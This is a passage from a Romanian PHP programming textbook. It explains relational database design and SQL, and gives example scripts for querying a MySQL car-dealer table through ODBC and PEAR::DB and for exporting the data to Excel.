Este important de amintit suportul PHP pentru instanþierea claselor Java, generarea ºi
prelucrarea imaginilor, gestiunea sesiunilor (prin variabile cookie ºi variabile-sesiune),
crearea animaþiilor Flash, comerþul electronic etc.
Serverul de aplicaþii PHP poate fi utilizat pe majoritatea platformelor (e.g., UNIX/
Linux, Windows, Mac OS X), împreunã cu cele mai multe servere Web (e.g., Apache,
IIS, iPlanet). În cele mai multe situaþii, PHP este folosit ca modul inclus în procesul
server HTTP, iar în cazul în care serverul Web suportã standardul CGI (Common
Gateway Interface), PHP poate lucra ca procesor CGI.
Existã trei modalitãþi de utilizare a limbajului PHP, enumerate ºi descrise pe scurt în
continuare:
• programare pentru server. Pentru ca PHP sã poatã fi utilizat în acest mod sunt
necesare trei aplicaþii: serverul Web, interpretorul PHP ºi un browser Web (utilizat
pentru vizualizarea rezultatelor);
• programare în linie de comandã. Acest mod de utilizare este indicat pentru realizarea
unor scripturi executate în mod planificat, nefiind necesarã prezenþa serverului Web
sau a browserului;
• realizarea aplicaþiilor GUI (Graphical User Interface) client. În acest scop, trebuie
utilizatã extensia PHP-GTK (http://gtk.php.net).
În aceastã lucrare vom utiliza PHP pentru programarea Web pe partea de server.
16 PROGRAMAREA ÎN PHP

CAPITOLUL 2

PHP ºi bazele de date


„Evrika!”
Arhimede

În prima parte a acestui capitol vor fi prezentate noþiuni despre


sistemele de gestiune a bazelor de date relaþionale ºi interfaþa
ODBC, precum ºi caracteristicile sistemului MySQL. Tot în
cadrul acestui capitol vor fi prezentate aplicaþii PHP care uti-
lizeazã baze de date MySQL ºi Microsoft Access, prin intermediul
ODBC ºi al pachetului PEAR::DB. În plus, veþi putea analiza
o aplicaþie pentru exportul datelor MySQL într-o foaie de calcul
Excel.

Sisteme de gestiune a bazelor de date


Astãzi, majoritatea datelor sunt pãstrate în format electronic. Faþã de pãstrarea pe hârtie,
aceastã modalitate de stocare oferã numeroase avantaje, dintre care menþionãm spaþiul
redus ocupat, riscul mai mic de deterioare a datelor, precum ºi accesul rapid la acestea.
Sistemele de gestiune a bazelor de date (SGBD) sunt componente software utilizate
într-un numãr mare de domenii de activitate pentru introducerea, organizarea, stocarea,
administrarea ºi utilizarea datelor. Astãzi, este practic imposibil ca o firmã care doreºte
sã funcþioneze eficient sã nu utilizeze un astfel de sistem.
SGBD-urile pot fi clasificate dupã diverse criterii. Unul dintre acestea este modelul
conceptual (sau modelul structural) folosit pentru gestionarea datelor, care poate fi:
ierarhic, reþea, relaþional, obiectual ºi obiectual-relaþional. Pentru celelalte criterii de
clasificare, vezi Traian Anghel, Dezvoltarea aplicaþiilor Web folosind XHTML, PHP ºi
MySQL, Editura Polirom, Iaºi, 2005.

Modelul relaþional
Dintre modele conceptuale enumerate anterior, cel mai utilizat este modelul relaþional.
Bazele sale au fost puse de E.F. Codd de la IBM, în articolul „A Relational Model of
Data for Large Shared Data Banks” („Un model relaþional al datelor pentru bãnci mari
de date partajate”), publicat în anul 1970. Sistemul care utilizeazã modelul relaþional se
numeºte sistem de gestiune a bazelor de date relaþionale (SGBDR).
PHP ªI BAZELE DE DATE 17

O bazã de date relaþionalã este alcãtuitã din unul sau mai multe tabele. Un tabel
include înregistrãri sau rânduri. O înregistrare este alcãtuitã din unul sau mai multe
câmpuri, numite ºi coloane sau atribute. Dacã valoarea unui câmp se determinã pe baza
valorilor altor câmpuri, acesta se numeºte câmp calculat. Între tabelele componente ale
unei baze de date se pot stabili relaþii.
Modelul relaþional impune ca înregistrãrile dintr-un tabel sã nu se repete, ceea ce
înseamnã cã un tabel nu poate avea douã rânduri identice! O înregistrare va fi identificatã
prin valoarea coloanelor sale. O coloanã sau o combinaþie de coloane care permite
identificarea înregistrãrilor se numeºte cheie candidatã. Aceasta trebuie sã respecte
urmãtoarele reguli:
• unicitate (ceea ce înseamnã cã o cheie candidatã identificã în mod unic o înregistrare
în tabel);
• valori nenule (coloanele care compun cheia trebuie sã aibã valori nenule);
• compoziþie minimalã (cu alte cuvinte, nici o coloanã din cheie – atunci când aceasta
este compus㠖 nu poate fi eliminatã fãrã a distruge unicitatea înregistrãrii în tabel).
Dintre cheile candidate se selecteazã o cheie primarã. Se pot utiliza drept criterii de
selecþie a acesteia lungimea ºi uºurinþa în manipulare. O cheie a unui tabel poartã
numele de cheie externã dacã este cheia primarã a unui alt tabel.
Utilizarea eficientã a unei baze de date presupune organizarea optimizatã a datelor în
tabele. În acest scop, datele sunt incluse în entitãþi (tabele) distincte, printr-un proces de
optimizare numit normalizare, reprezentat de transformãri succesive supuse unor reguli.
În acest proces trebuie respectate urmãtoarele reguli:
• se utilizeazã numai valori atomice ale coloanelor (nici o coloanã nu trebuie sã conþinã
valori compuse). De exemplu, este contraindicat sã se utilizeze o singurã coloanã
care sã conþinã numele ºi prenumele. În locul ei, trebuie sã se utilizeze douã coloane
distincte: una care conþine numele ºi alta care conþine prenumele;
• cheia primarã este utilizatã în totalitate (sunt interzise tabelele în care o coloanã
depinde numai de o porþiune a cheii primare);
• se utilizeazã numai cheia primarã (adicã un tabel care conþine informaþii despre mai
multe categorii de obiecte trebuie divizat în tabele separate, unite printr-o cheie
externã).
În modelul relaþional, implementarea unei baze de date implicã parcurgerea obligatorie
a trei etape, acestea fiind enumerate în continuare:
• proiectarea bazei de date. În acest scop este utilizat un procedeu cunoscut sub numele
de modelare entitate-relaþie (modelare E-R). Procedeul include urmãtoarele patru
subetape:
o identificarea coloanelor, în care se þine seama de datele pe care trebuie sã le
stocheze baza de date;
o gruparea coloanelor în entitãþi sau tabele, astfel încât coloanele corelate sã se
grupeze în acelaºi tabel; existã posibilitatea ca o coloanã sã fie prezentã în mai
multe tabele;
o identificarea cheilor primare; o astfel de cheie poate fi reprezentatã de o coloanã,
de mai multe coloane (în acest caz, este vorba de o cheie compusã) sau de o nouã
coloanã creatã în acest scop;
o identificarea cheilor externe (are un rol important în modelarea E-R);
18 PROGRAMAREA ÎN PHP

• normalizarea bazei de date;


• specificarea tipului de date pentru fiecare coloanã. Majoritatea tipurilor de baze de
date relaþionale acceptã urmãtoarele tipuri de date: caracter, întreg, zecimal, datã ºi
orã, binar.
Cheile externe se determinã folosind o diagramã E-R în care entitãþile (tabelele) sunt
reprezentate sub formã de dreptunghiuri, iar relaþiile dintre ele, sub formã de romburi.
O caracteristicã a relaþiilor dintre entitãþi este cardinalitatea. Astfel, relaþiile pot avea
urmãtoarele cardinalitãþi:
• 1:0 (e.g., relaþia dintre entitãþile oraºe ºi capitale: un oraº poate sã fie sau sã nu fie
capitala unui stat);
• 1:1 (e.g., relaþia dintre entitãþile elev ºi clasã: un elev face parte, la un moment dat,
dintr-o singurã clasã);
• 1:N (e.g., relaþia dintre entitãþile student ºi curs: un student poate participa la mai
multe cursuri) sau N:1;
• N:N (e.g., relaþia dintre entitãþile autor ºi editurã: un autor poate colabora cu mai
multe edituri, iar o editurã poate colabora cu mai mulþi autori). O relaþie care are
aceastã cardinalitate este nedefinitã, indicând lipsa unei entitãþi. Aceastã entitate
trebuie descoperitã ºi adaugatã. Ulterior, trebuie sã se modifice relaþiile dintre
entitãþile bazei de date. În exemplul oferit anterior, pentru a se elimina cardinalitatea
N:N, se adaugã entitatea carte. Relaþia dintre autor ºi carte devine 1:N (un autor
poate avea mai multe cãrþi, dar fiecare carte se referã la un anumit autor), iar relaþia
dintre carte ºi editurã este N:1 (fiecare carte este publicatã la o anumitã editurã, care
poate publica mai mulþi autori).
În figura 2.1. este reprezentatã o diagramã E-R a unei relaþii care are cardinalitatea
1:1 (entitãþile sunt elev ºi clasã, iar relaþia este Face parte din):

Figura 2.1. Diagramã E-R (relaþia are cardinalitatea 1:1)

Pentru exploatarea unui numãr mare de tipuri de baze de date relaþionale este utilizat
SQL (Structured Query Language).
Dezvoltarea limbajului SQL a fost iniþiatã în anii ’70 de cãtre IBM, sub numele
seequel. Limbajul a primit numele actual în anul 1980. SQL a devenit standard
ANSI (American National Standards Institute) în anul 1986 (versiunea ANSI
curentã este SQL 99). În anul 1987, SQL a devenit standard ISO (International Organization
for Standardization).
Limbajul SQL include instrucþiuni care permit efectuarea urmãtoarelor operaþii:
• crearea bazelor de date ºi a tabelelor;
• introducerea datelor în tabele;
• indexarea tabelelor;
• stabilirea unor relaþii între tabelele componente ale unei baze de date;
• actualizarea conþinutului tabelelor componente ale bazelor de date;
PHP ªI BAZELE DE DATE 19

• interogarea tabelelor componente ale bazelor de date;


• modificarea structurii tabelelor;
• controlul drepturilor de acces pentru utilizatori asupra bazelor de date, tabelelor ºi
câmpurilor din tabele;
• configurarea unor elemente legate de securitatea sistemului.

SGBDR-urile implementeazã limbajul SQL în maniere specifice (ceea ce înseamnã


cã fiecare dintre acestea include extensii proprii în raport cu standardul ANSI).
Din acest motiv, implementãrile SQL pot sã fie diferite, într-o oarecare mãsurã,
de la un sistem la altul.
Existã un numãr mare sisteme de gestiune a bazelor de date relaþionale, care pot fi
clasificate dupã diverse criterii. Unul dintre ele se referã la provenienþã. Dupã acest
criteriu, SGBDR-urile se împart în douã categorii:
• sisteme comerciale (sau proprietare), dintre care menþionãm: Oracle, SQL Server
(de la Microsoft) ºi DB2 (de la IBM);
• sisteme cu sursã deschisã (open source) cum sunt: MySQL (de fapt, acest SGBDR
este realizat sub licenþã dublã: GPL – GNU General Public License – ºi comercialã)
ºi PostgreSQL (sub licenþã BSD).
Sistemele care fac parte din a doua categorie pot fi utilizate gratuit pentru aplicaþii
noncomerciale, cele mai multe fiind destinate sã furnizeze un back-end pentru aplicaþii
care genereazã pagini Web dinamice.

Interfaþa ODBC
API-ul ODBC (Open Database Connectivity) a fost creat de Microsoft în anul 1992,
pentru accesarea de cãtre aplicaþii a surselor de date (Data Sources).
Sursa de date este un ansamblu de informaþii care include:
• o bazã de date de un anumit tip, în care sunt stocate datele utilizate de aplicaþie;
• un driver ODBC, care furnizeazã un set de comenzi specific sistemului de baze de
date utilizat;
• parametrii conexiunii care va fi stabilitã de driver cu serverul de baze de date.
ODBC este o interfaþã de acces universal la date (Universal Data Access), având
drept caracteristicã interoperabilitatea, adicã posibilitatea de a accesa diverse tipuri de
baze de date utilizând acelaºi cod-sursã. Din acest motiv, ODBC este una dintre interfeþele
standard utilizate pentru dezvoltarea aplicaþiilor independente de motorul de baze de
date.
Puteþi sã obþineþi drivere ODBC pentru un numãr mare de tipuri de baze de date
(e.g., Microsoft SQL Server, Oracle, MySQL, PostgreSQL) de la adresa http://
www.sqlsummit.com/ODBCVend.htm.

Sistemul MySQL
MySQL este cel mai des utilizat SGBDR cu sursã deschisã, având versiuni pentru
majoritatea platformelor (e.g., UNIX/Linux, Windows, Mac OS X Server). Serverul
MySQL este multi-fir ºi multi-utilizator. În plus, este stabil ºi rapid, din aceste motive
20 PROGRAMAREA ÎN PHP

fiind recomandat pentru a furniza un back-end în aplicaþiile Web dinamice. Sistemul


MySQL are implementat suportul pentru urmãtoarele tipuri de date: numerice, datã ºi
timp, ºir de caractere ºi binare.
Începând cu versiunea 3.23, în tabelele MySQL în format MyISAM pot fi stocate
pânã la 8 milioane de terabytes de date, iar tabelele InnoDB acceptã chei externe (se
prevede ca, începând cu versiunea 5.1, cheile externe sã fie suportate ºi de tabelele
MyISAM). Dacã se utilizeazã tabele InnoDB, MySQL suportã tranzacþii. Versiunea 5.0
a MySQL adaugã suportul pentru proceduri stocate ºi vederi.
Existã numeroase interfeþe de acces la bazele de date MySQL, scrise în diverse
limbaje ºi medii de programare: C, C++, Java, Perl, PHP (e.g., phpMyAdmin, care
poate fi descãrcatã de la adresa http://www.phpmyadmin.net) etc. Programatorul îºi
poate scrie propriile interfeþe de acces la bazele de date MySQL, deoarece unele dintre
limbajele amintite anterior (e.g., PHP) includ API-uri pentru acces direct la sistemul
MySQL, iar altele pot interacþiona cu MySQL prin intermediul ODBC.

Utilizarea interfeþei ODBC


MySQL ºi PHP sunt cea mai utilizatã combinaþie dintre un server de baze de date ºi un
server de aplicaþii pentru realizarea aplicaþiilor Web. Serverul de aplicaþii PHP oferã o
interfaþã pentru accesul direct la serverul de baze de date MySQL. Aceastã interfaþã este
prezentatã într-un numãr mare de manuale, motiv pentru care am considerat cã nu este
necesar sã o prezentãm ºi în aceastã lucrare. În schimb, vom prezenta API-ul PHP pentru
ODBC ºi o aplicaþie care îl utilizeazã. API-ul amintit include funcþii dedicate, numite
funcþii ODBC.
Este necesar ca, în prealabil, sã descãrcaþi de pe situl oficial MySQL driverul
ODBC pentru MySQL, MySQL Connector/ODBC (sau, în versiunile anterioare,
MyODBC) pentru platforme Windows ºi sã-l instalaþi pe calculatorul dum-
neavoastrã.
Pentru a crea o sursã de date DSN este necesar ca, în prealabil, sã creaþi o bazã de
date MySQL. Utilizând un client MySQL, creaþi baza de date car ºi tabelul info (acesta
include informaþii asupra automobilelor existente la un distribuitor auto):
mysql>CREATE DATABASE car;
mysql>USE car;
mysql>CREATE TABLE info (
->brand VARCHAR(20) NOT NULL default ’’,
->color VARCHAR(15) NOT NULL default ’’,
->price INT(6) NOT NULL default ’0’,
->number TINYINT(4) NOT NULL default ’0’,
->PRIMARY KEY (brand,color,price)
->);
Introduceþi în tabel câteva înregistrãri:
mysql>INSERT INTO info
->VALUES (’Dacia Logan’,’rosu’,6500,20);
PHP ªI BAZELE DE DATE 21

mysql>INSERT INTO info


->VALUES (’BMW’,’negru’,30000,5);
mysql>INSERT INTO info
->VALUES (’Ford’,’gri’,15000,7);
mysql>INSERT INTO info
->VALUES ’Dacia Solenza’,’rosu’,5500,30);
Creaþi o sursã de date DSN (pe platforma Windows) numitã shopcar, utilizând baza de
date car (etapele care trebuie parcurse sunt descrise în lucrarea Traian Anghel, Dezvoltarea
aplicaþiilor Web folosind XHTML, PHP ºi MySQL, Editura Polirom, Iaºi, 2005).
În continuare, sunt prezentate prototipurile unor funcþii ODBC, incluse în API-ul
PHP corespunzãtor, care vor fi utilizate în aceastã secþiune:
resource odbc_connect(string dsn, string user, string passw)
Funcþia întoarce un identificator de conexiune ODBC (care va fi folosit de celelalte
funcþii ODBC) în caz de succes ºi 0 în caz de eroare; dsn este numele sursei de date
care va fi utilizatã, iar user ºi passw reprezintã numele de utilizator ºi parola necesare
pentru conectarea la baza de date.
Funcþia odbc_pconnect() este similarã cu odbc_connect(), cu excepþia faptului cã
dupã execuþia scriptului PHP conexiunea nu este închisã. Din acest motiv, ea poate fi
utilizatã ºi de alte scripturi care conþin cereri pentru conexiuni cu aceiaºi parametri.

resource odbc_exec(resource con_id,string query)


Funcþia pregãteºte ºi executã interogarea SQL query (introdusã ca un ºir)
utilizând conexiunea ODBC precizatã prin identificatorul con_id, întorcând un
identificator de rezultat ODBC în caz de succes ºi valoarea logicã FALSE în caz
de eroare. Funcþia odbc_do() este sinonimã cu odbc_exec() ºi poate fi utilizatã în
locul acesteia.
bool odbc_fetch_row(resource result_id[,int row_number])
Funcþia extrage un rând din rezultatul întors de funcþia odbc_exec() ; întoarce
valoarea logicã TRUE în cazul în care operaþia de extragere a avut succes ºi valoarea
logicã FALSE în caz contrar (atunci când nu mai sunt rânduri de extras). Rândul extras
poate fi utilizat prin intermediul funcþiei odbc_result() . Funcþia poate primi ca
parametru opþional row_number, adicã numãrul rândului care se doreºte a fi extras.
string odbc_result(resource result_id,mixed field)
Funcþia întoarce conþinutul unui câmp ce aparþine unui rând extras anterior cu funcþia
odbc_fetch_row(), FALSE în caz de eroare, NULL în cazul în care conþinutul este
NULL ºi TRUE dacã acesta constã din date binare. Ea primeºte ca parametri identificatorul
de rezultat întors de funcþia odbc_exec() ºi numãrul coloanei sau numele acesteia
(field ).
void odbc_close(resource connection_id)
Funcþia închide conexiunea ODBC precizatã prin identificatorul connection_id .
Creaþi subdirectorul database, în care veþi salva fiºierele ce includ scripturile pre-
zentate în acest capitol.
22 PROGRAMAREA ÎN PHP

Scriptul prezentat în listing-ul 2.1. permite afiºarea conþinutului tabelului info al


bazei de date car, folosind interfaþa ODBC ºi sursa de date carshop. Sunt utilizate funcþii
incluse în API-ul PHP pentru ODBC (prezentate anterior). Salvaþi scriptul respectiv în
fiºierul odbc.php ºi executaþi-l (http://127.0.0.1/database/odbc.php).
2.1. Fiºierul odbc.php
<!DOCTYPE html
PUBLIC ”-//W3C//DTD XHTML 1.0 Transitional//EN”
”DTD/xhtml1-transitional.dtd”>
<html xmlns=”http://www.w3.org/1999/xhtml”>
<head>
<title>Utilizarea interfetei ODBC
</title>
<link rel=”stylesheet” href=”style.css” />
</head>
<body>
<?php
$con_id = @odbc_connect(”carshop”,”root”,””) or
die(”Nu s-a realizat conexiunea”);
$query = ”SELECT * FROM info”;
$res_id = odbc_do($con_id,$query);
echo ”<center>
<table border=\”1\” cellpadding=\”5\”>
<tr>
<th>Marca</th>
<th>Culoare</th>
<th>Pret</th>
</tr>”;
while(odbc_fetch_row($res_id)){
$brand = odbc_result($res_id,1);
$color = odbc_result($res_id,2);
$price = odbc_result($res_id,3);
$number = odbc_result($res_id,4);
echo ”<tr>
<td id=’brand’>”.$brand.”</td>
<td id=’color’>”.$color.”</td>
<td id=’price’>”.$price.”</td>
<td id=’number’>”.$number.”</td>
</tr>”;
}
echo ”</table>
</center>”;
odbc_close($con_id);
?>
</body>
</html>
PHP ªI BAZELE DE DATE 23

Definiþiile foilor de stiluri utilizate în fiºierul odbc.php sunt incluse în fiºierul style.css
(listing-ul 2.2).
2.2. Fiºierul style.css
tr#head {
background: #d9d9d9; color: #060606;
font-family: tahoma;font-size:14px;
}
td#brand {
background: #e9e9e9; font-family: tahoma;font-size:12px;
}
td#color {
font-family: tahoma;font-size:12px;
}
td#price {
font-family: tahoma;font-size:12px;
}
td#number {
font-family: tahoma;font-size:12px;
}

Iatã rezultatele obþinute în urma execuþiei scriptului odbc.php:


afiºate dupã executarea scriptului din listing-ul 2.1

Utilizarea API-ului PHP pentru ODBC

În locul bazei date MySQL puteþi utiliza o bazã de date Microsoft Access (în condiþiile
în care aveþi instalat în sistem acest program, parte a pachetului Microsoft Office). Vã
propunem ca exerciþiu utilizarea scriptului anterior folosind o sursã de date DSN care
are ca suport o bazã de date Microsoft Access. În prealabil, trebuie sã creaþi în Access
baza de date car ºi tabelul info, similare cu cele create anterior în MySQL. Este necesar
sã utilizaþi un alt nume pentru noua sursã DSN pe care trebuie sã o creaþi, de exemplu
carshop_access. Singura modificare pe care trebuie sã o aduceþi scriptului din listing-ul 2.1
este schimbarea numelui sursei de date (în loc de carshop introduceþi carshop_access).
24 PROGRAMAREA ÎN PHP

Utilizarea pachetului PEAR::DB


Unul dintre cele mai populare pachete PEAR (vezi anexa A) utilizat pentru accesul la
baze de date este PEAR::DB, dezvoltat de Stig Bakken, Thomas V.V. Cox, Daniel
Convissor ºi Lukas Smith. Pachetul este util dezvoltatorilor pentru scrierea de cod PHP
care poate fi utilizat pentru accesul la câteva servere de baze de date importante. Astfel,
este suficient ca, în scopul obþinerii unui anumit rezultat, aceºtia sã scrie un singur script
PHP care va putea accesa date gãzduite pe majoritatea serverelor de baze de date
suportate de PHP (MySQL, Oracle, Microsoft SQL Server etc.). De asemenea, PEAR::DB
suportã standardul ODBC (pentru conectare la Access, DB2 etc.). Instalaþi pachetul
PEAR::DB conform instrucþiunilor prezentate în anexa A, folosind comanda:
pear install -o DB
În exemplul pe care-l vom prezenta în continuare este utilizatã baza de date car ºi
tabelul info, create în secþiunea anterioarã. Salvaþi conþinutul listing-ului 2.3 în fiºierul
peardb.php.
2.3. Fiºierul peardb.php
<!DOCTYPE html
PUBLIC ”-//W3C//DTD XHTML 1.0 Transitional//EN”
”DTD/xhtml1-transitional.dtd”>
<html xmlns=”http://www.w3.org/1999/xhtml”>
<head>
<title>Utilizarea pachetului PEAR::DB</title>
<link rel=”stylesheet” href=”style.css” />
</head>
<body>
<?php
require_once(”DB.php”);
// Se precizeaza DSN - Data Source Name
$dsn = array(
’phptype’ => ’mysql’,
’username’ => ’root’,
’password’ => ’’,
’hostspec’ => ’localhost’,
’database’ => ’car’,
);
// Se incearca realizarea conexiunii la baza de date
$db = & DB::connect($dsn) or die(”conectare esuata”);
if (PEAR::isError($db)) {
die($db->getMessage());
}
// Se trimite o interogare serverului de baze de date
$query = ”SELECT * FROM info ORDER BY price DESC”;
$result = $db->query($query);
PHP ªI BAZELE DE DATE 25

// Daca exista rezultate in setul de rezultate, se afiseaza


if ($result->numRows() > 0) {
echo ”<table cellpadding=’5’ cellspacing=’5’>
<tr id=’head’>
<th>Model</th>
<th>Culoare</th>
<th>Pret</th>
<th>Numar</th>
</tr>”;
while($row = $result->fetchRow()){
echo ”<tr><td id=’brand’>” . $row[0] . ”</td>
<td id=’color’>” . $row[1] . ”</td>
<td id=’price’>” . $row[2] . ”</td>
<td id=’number’>” . $row[4] . ”</td>
</tr>”;
}
echo ”</table>”;
}
// Se elibereaza resursele ocupate de setul de rezultate
$result->free();
// Se inchide conexiunea
$db->disconnect();
?>
</body>
</html>

Pachetul PEAR::DB include în fiºierul DB.php definiþiile urmãtoarelor clase: DB


(clasa principalã), DB_result (conþine rezultatele întoarse de o interogare SQL) ºi
DB_Error (conþine erorile generate de interogãrile SQL). Definiþia clasei DB_common
(interfaþã pentru accesul la bazele de date) este inclusã în fiºierul common.php. În plus,
pachetul include alte paisprezece fiºiere. Fiecare dintre acestea conþine definiþia unei
clase ale cãrei metode permit interacþiunea cu câte un server de baze de date, pe baza
extensiilor PHP existente.
Dacã se analizeazã scriptul anterior, se constatã cã pentru conectarea la o bazã de
date prin PEAR::DB este necesar sã se precizeze o sursã de date (DSN – Data Source
Name) validã, sub forma unui tablou asociativ care include cel mult nouã câmpuri (în
exemplul prezentat, sunt utilizate numai cinci dintre acestea):
• phptype – precizeazã baza de date utilizatã (e.g., mysql, odbc);
• dbsyntax – precizeazã informaþii suplimentare cu privire la tipul bazei de date
(astfel, dacã phptype este ODBC, atunci dbsyntax stabileºte tipul driverului utilizat
de interfaþa ODBC: access, db2 etc.);
• protocol – seteazã protocolul de comunicaþie utilizat (e.g., tcp, unix);
• hostspec – precizeazã gazda (sub forma hostname[:port]);
• database – specificã baza de date utilizatã;
• username – conþine numele de utilizator necesar pentru login;
• password – conþine parola necesarã pentru login;
26 PROGRAMAREA ÎN PHP

• proto_ops – poate fi utilizat cu protocol;


• option – conþine opþiuni de conectare (separate prin caracterul &) precizate într-un
format de tip URI?ºir de interogare .
Sursa de date poate fi precizatã ºi sub forma unui ºir care include (numai o parte sau
toate) câmpurile precizate anterior:
$dns = phptype(dbsyntax)://username:password@protocol+
hostspec/database?option=value
Astfel, în listing-ul 2.3, sursa de date ar fi putut sã fie precizatã ºi în felul urmãtor:
$dns = mysql://root@localhost/car
Pentru conectarea la baza de date se utilizeazã metoda DB::connect(), care primeºte
ca parametru tabloul ce precizeazã DSN-ul. În caz de succes, metoda întoarce o instanþã
a clasei DB. În caz de eroare, metoda întoarce un obiect DB_Error. Este necesar sã se
verifice valoarea întoarsã folosind metoda DB::isError() . Aceasta determinã dacã
variabila pe care o primeºte ca argument este un obiect DB_Error, întorcând – în acest
caz – valoarea logicã TRUE. Se recomandã sã se utilizeze PEAR::isError() în locul
DB::isError() . În scriptul prezentat mai sunt utilizate urmãtoarele metode:
• DB_Common::query() – trimite o interogare serverului de baze de date. Valoarea
întoarsã poate fi un obiect DB_result pentru interogãri care întorc rezultate (aºa
cum este SELECT), un obiect DB_OK pentru interogãri care manipuleazã date (aºa
cum este INSERT) sau un obiect DB_Error, în caz de eroare;
• DB_result::numRows() – întoarce numãrul de rânduri existente în setul de rezultate
sau un obiect DB_Error, în caz de eroare;
• DB_result::fetchRow() – întoarce un rând de date pe care îl extrage din setul de
rezultate ºi mutã pointerul setului pe rândul urmãtor. Când s-a ajuns la sfârºitul
setului de rezultate, metoda întoarce NULL. În caz de eroare, este întors un obiect
DB_Error. Datele întoarse pot fi formatate ca un tablou sau ca un obiect. Tipul datelor
întoarse poate fi stabilit prin utilizarea metodei DB_common::setFetchMode(), care
seteazã modul implicit de extragere. Aceasta primeºte ca argument un parametru,
care are trei valori posibile:
o DB_FETCHMODE_ORDERED (determinã întoarcerea datelor sub forma unui tablou
numeric);
o DB_FETCHMODE_ASSOC (determinã întoarcerea datelor sub forma unui tablou
asociativ);
o DB_FETCHMODE_OBJECT (determinã întoarcerea datelor sub forma unui obiect).
• DB_result::free() – elibereazã resursele ocupate de setul de rezultate. Aceastã
metodã întoarce TRUE în caz de succes, ºi FALSE în caz de eroare;
• DB_common::disconnect() – închide conexiunea cu serverul de baze de date.
Aceastã metodã întoarce TRUE în cazul în care s-a reuºit închiderea conexiunii ºi
FALSE în caz contrar.
PHP ªI BAZELE DE DATE 27

afiºate dupã executarea codului din listing-ul 2.3

Utilizarea pachetului PEAR::DB

Puteþi utiliza ºi sursa de date carshop_access, creatã în secþiunea anterioarã prin


utilizarea unei baze de date Microsoft Access. În acest caz, pachetul PEAR::DB
utilizeazã interfaþa ODBC a sistemului prin intermediul extensiei PHP corespunzãtoare.
Singura modificare pe care trebuie sã o faceþi în scriptul peardb.php este aceea de a
înlocui variabila $dsn cu urmãtoarea:
$dsn = ”odbc(access)://admin@/carshop_access”;

Exportul de date MySQL în Excel


Aplicaþiile de calcul tabelar (ca, de exemplu, Excel, program inclus în pachetul Microsoft
Office, sau OpenOffice Calc, inclus în pachetul OpenOffice) sunt utilizate pe scarã largã
într-un numãr mare de domenii pentru prelucrarea datelor. Datele respective pot fi
stocate anterior în baze de date. De aici reiese necesitatea de exporta aceste date într-un
document utilizat într-o aplicaþie de calcul tabelar.
Informaþiile existente într-un tabel MySQL pot fi exportate într-un document Excel.
Pentru aceasta, calculatorul utilizatorul trebuie sã foloseascã un sistem de operare
Windows (sau MacOS) ºi sã aibã instalat programul Excel. În absenþa acestei aplicaþii,
scripturile prezentate vor funcþiona ºi dacã aveþi instalat OpenOffice Calc (http://
www.openoffice.org).
Scriptul din listing-ul 2.4 realizeazã exportul datelor fãrã formatarea lor. Acesta
extrage datele din tabelul MySQL info al bazei de date car (vezi secþiunile anterioare) ºi
le exportã în format Excel. Documentul Excel rezultat este deschis automat pe calcu-
latorul utilizatorului, iar acesta îl poate salva. Ulterior, în documentul Excel rezultat,
utilizatorul poate efectua formatarea datelor, precum ºi diverse operaþii asupra acestora.
Salvaþi conþinutul listing-ului 2.4 în fiºierul exportxls.php ºi executaþi-l
(http://127.0.0.1/database/exportxls.php).
28 PROGRAMAREA ÎN PHP

2.4. Fiºierul exportxls.php


<?php
function numberCells($number) {
$character = ”\t”;
if(is_int($number)){
$character = str_repeat($character,$number);
return $character;
}
}
function numberLines($number) {
$character = ”\n”;
if(is_int($number)){
$character = str_repeat($character,$number);
return $character;
}
}
$title=numberCells(3). ”Automobile\n”;
$db_host = ”localhost”;
$db_user = ” ”;
$db_pass = ””;
$db_name = ”car”;
$header= ””;
$data= ””;
mysql_connect($db_host,$db_user,$db_pass) or
die(”Nu s-a stabilit conexiunea.”);
mysql_select_db($db_name) or
die(”Nu a fost selectata baza de date.”);
$select = ”SELECT * FROM info ORDER BY price”;
$export = mysql_query($select);
$fields = mysql_num_fields($export);
for ($i = 0; $i < $fields; $i++) {
$header .= mysql_field_name($export, $i) . ”\t”;
}
$header=numberCells(2).$header;
while($row = mysql_fetch_row($export)) {
$line = ””;
foreach($row as $value) {
if ((!isset($value)) OR ($value == ””)) {
$value = ”\t”;
} else {
$value = str_replace(’”’, ’””’, $value);
$value = ’”’ . $value . ’”’ . ”\t”;
}
$line .= $value;
}
$data .= numberCells(2).rtrim($line).”\n”;
PHP ªI BAZELE DE DATE 29

}
$data = str_replace(”\r”,””,$data);
if ($data == ””) {
$data = ”\n Nu au fost gasite inregistrari!\n”;
}
header(”Content-type: application/vnd.ms-excel”);
header(”Content-Disposition: attachment;
filename=extraction.xls”);
header(”Expires: 0”);
header(”Cache-Control: must-revalidate,
post-check=0,pre-check=0”);
header(”Pragma: public”);
echo numberLines(4).$title.$header.”\n”.$data;
?>

Funcþiile numberLines() ºi numberCells() introduc un numãr de linii, respectiv


celule vide, egal cu argumentul transmis (dacã acesta este un numãr întreg). Ele permit
poziþionarea datelor în foaia de calcul. A fost utilizatã funcþia PHP predefinitã is_int(),
care întoarce TRUE dacã argumentul sãu este un numãr întreg ºi FALSE în caz contrar.
Funcþia mysql_field_name() permite extragerea numelor câmpurilor tabelului
MySQL. Apoi, valorile cîmpurilor sunt extrase într-un ºir. Între valorile a douã câmpuri
succesive este introdus caracterul ”\t”, care permite saltul într-o nouã celulã în foaia de
calcul. Dupã ce sunt extrase valorile tuturor câmpurilor dintr-o înregistrare, este introdus
caracterul ”\n”, care permite saltul la o nouã linie în foaia de calcul.
Utilizarea funcþiei header() permite transmiterea datelor cãtre browser, deschiderea
aplicaþiei Excel ºi a unui registru (workbook) care conþine, în prima sa foaie de calcul
(worksheet), datele extrase din tabelul MySQL.
afiºate dupã executarea codului din listing-ul 2.4

Exportaþi date
din MySQL în Excel

Datele MySQL pot fi exportate într-un tabel Excel utilizând pachetul PEAR::
Spreadsheet_Excel_Writer. Pentru a instala acest tabel urmaþi procedura indicatã în
anexa A. Veþi constata cã trebuie instalat ºi pachetul PEAR::OLE (utilizat pentru
30 PROGRAMAREA ÎN PHP

scrierea ºi citirea containerelor OLE) pentru satisfacerea dependenþelor PEAR. În scrierea


exemplului pe care-l vom prezenta în continuare am utilizat pachetele PEAR::OLE 0.5
(beta) ºi PEAR::Spreadsheet_Excel_Writer 0.8 (beta):
pear install -o Spreadsheet_Excel-beta
Este interesant de observat cã pachetul PEAR::Spreadsheet_Excel_Writer nu utilizeazã
extensia PHP pentru interacþiunea cu componentele COM. Clasa principalã a pachetului
amintit este Spreadsheet_Excel_Writer (http://pear.php.net/manual/en/package.
